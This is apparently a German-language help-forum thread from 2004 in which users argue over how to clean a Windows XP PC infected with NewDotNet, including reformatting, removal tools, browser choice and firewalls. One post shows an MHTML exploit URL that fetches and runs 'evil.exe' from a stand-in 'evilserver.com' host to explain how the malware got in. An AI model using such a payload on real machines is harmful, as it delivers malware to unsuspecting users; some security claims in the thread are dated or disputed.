[WinlinMax]

hate noch keine zeit es zu probieren.
sry, mach es später

[Cirontak]

@WinLinMax

Formatieren zu diesem Zeitpunkt ist defintiv nicht angesagt.
1.NewDotNet bietet auf seiner Seite ein Removaltool an, das Du verwenden solltest, da bei Installlation von NewDotNet die Winsock.dll = ein 32-Bit Treiber der Befehle für TCP/IP modifiziert, verändert wurde! Wenn dieser Treiber gecrasht wurde, ist es erst einmal Essig mit dem Internet. ;
2. Die Aussage IE <> andere bessere Browser ist subjektiv. Subjektiv nur aus dem Grunde, dass Surfer im Internet Menschen sind, die auch einmal unaufmerksam klicken- und dies auch bei anderen Browsern.
3. Eine ordentlich eingerichtete Firewall fängt bzgl. TCP/IP einiges an Unaufmerksamkeit ab. Welche Du nehmen solltest - trotz WinXP -, da enthalte ich mich einer Empfehlung. Schon alleine, um unnötige subjektiv formulierte Posts zu vermeiden.
4. Dann solltest Du einmal die IE-Einstellungen 'Bereich Sicherheit' modifizieren und den Patch zur 128Bit-Verschlüsselungsstärke integrieren.
Also, es gibt viel zu tun - außer dem vielfach empfohlenen Formatieren.

Hier findest Du indirekt eine Erklärung zu dem 'bösen' Eintrag mscoree.dll im Hijackthis. Diese Datei hängt auf Deiner Maschine 'in der Luft', da Du sicher nicht .NET Framework installiert hast.
Evtl. solltest Du auch einmal den auf die Betriebssysteme von M$ abgestimmten RegCleaner benutzen, der bei M$ direkt kostenlos als Download angeboten wird!

[stefanra]

Zitat

Formatieren zu diesem Zeitpunkt ist defintiv nicht angesagt.

Klar, er kann noch mehrere Stunden mit irgendwelche Virenscannern, oder solchen Programmen, die so tun, als wenn sie was zu Gunsten des Anwenders täten, seinen PC quälen.
Aber, lies dir das mal durch. Dann weiß du, warum wir sagen, dass Formatieren die einzigst _sinnvolle_ Lösung ist.

Zitat

2. Die Aussage IE <> andere bessere Browser ist subjektiv. Subjektiv nur aus dem Grunde, dass Surfer im Internet Menschen sind, die auch einmal unaufmerksam klicken- und dies auch bei anderen Browsern.

Auf jeden Fall, wie moep schon sagte, einen anderen Browser nehmen. Gründe dafür sollte die Boardsuche liefern.

[Cirontak]

@moep/stefanra
In diese wachsweiche Diskussion - IE-Browser > anderer Browser - und zu den pauschalen Empfehlungen aus dem beigefügten Link werde ich mit absoluter Sicherheit nicht einsteigen. Da ist mir die Zeit zu schade dafür, da es letzten Endes immer subjektiv eingefärbt bleibt. Ich erspare mir deshalb auch Links und Verweise auf Whitepapers zu Sicherheitlückenerklärungen in Linuxoberflächen und Browseroberflächen wie Mozilla, Opera und Firefox in Verbindung mit Javascripts/Javaplug-In. Sogar Google hat erst vor 14 Tagen eine seit 2 Jahren bekannte Sicherheitslückke versucht zu schließen. Rückmeldungen über Erfolg fanden noch nicht den Weg ins Netz.
Alles klar ?
Diese verunsichernde Aussage mit dem Titel - kompromittiertes System - ist und bleibt eine Dauerbaustelle, so lange es User gibt, die schlicht und ergreifend bestehende Sicherheitsstrukturen übersehen oder auch ignorieren.
Hier ist ein Member, der Hilfe erwartet und nicht gebetsmühlenhafte Aussagen.

Hättet ihr beide die Ziffer 1 aus meinem Post und die Hinweise zu mscoree.dll richtig verstanden und dazu evtl. zusätzliche Hinweise gegeben, wäre dem anfragenden Member mehr geholfen.

[Cirontak]

@Moep

Zitat

Die Ziffer 1 verweist auf ein Removal Tool. Hilft aber nicht gegen Firewalllücken

Genau dieser Satz zeigt, dass Du den Link nicht geöffnet hast und mit der Bezeichnung Removal Tool nichts anfangen kannst.

Also bitte, erst informieren und erfahren, dass NewDotNet mit dem letzten Satz auf dieser Linkseite ein UninstallProgramm mit gut formulierter Nutzungsanweisung zur Entfernung der von Dir bezeichneten Malware zur Verfügung stellt!

[Rika]

NewDotnet installiert sich aber über eine bekannte Lücke im IE, die zu diesem Zeitpunkt nicht geschlossen war. Was also nützt dir das Removal-Tool gegen die andere Malware, die über die gleiche Lücke reingekommen sein kann?

Vor allem: Wer garabntiert dir, daß das Removal-Tool auch diese Version von NewDotnet aktuell ist? Der nette freundliche Anbieter dieser Malware?

[Cirontak]

@Rika
Welche bekannte Lücke? Da bin ich jetzt aber auf eine profunde Antwort gespannt.

Edit: Bedenke bei Deiner Rückantwort, dass es für künftige Malware auf keinem System, welcher Sicherheitsstatus auch immer vorliegt, keine 100 %-ige Sicherheit geben wird.

Dieser Beitrag wurde von Cirontak bearbeitet: 07. Dezember 2004 - 22:19

[Rika]

Die MHTML-Lücke.

mhtml://http://istmiregal.was/ich/hier/angebe.mht!http://www.evilserver.com/malware.chm::evil.exe

Dieser Beitrag wurde von Rika bearbeitet: 07. Dezember 2004 - 22:45

[Cirontak]

@Rika
Auch Dir muss ich sagen. Erst informieren und dann posten.
MHTML = Schnee vom April 2004! und betraf OutlookExpress!!

[Rika]

1. Die Lücke war auch im IE. Siehe http://www.safecente...4/ie_unpatched/
2. Und eben weil sie ja eigentlich schon längst gepatcht sein sollte hat der OP Mist gebaut.

[Cirontak]

@Rika
Linkseite mit einem Updatedatum 2004/01/27. Schnee von gestern!

Wenn schon Sicherheitsinformationen - klar definiert und für jeden Laien nachvollziehbar - dann bitte mit Fakten
und verständlicher Hilfe und nicht mit Code-Zeilen.

[Rika]

Die Lücke existierte zu diesem Zeitpunkt und wenn kein Patch dafür eingespielt wurde dann existiert sie auf dem System des OP noch heute. Zumindest hat sie an dem Zeitpunkt, wo sich NetDotNet installierte, noch existiert. Wo ist dein Problem, verdammt?

Was der Laie mit Proxomitron anfangen soll oder was bei Guru's Heaven für Bullshit steht lasse ich jetzt mal noch außen vor...

Dieser Beitrag wurde von Rika bearbeitet: 08. Dezember 2004 - 19:08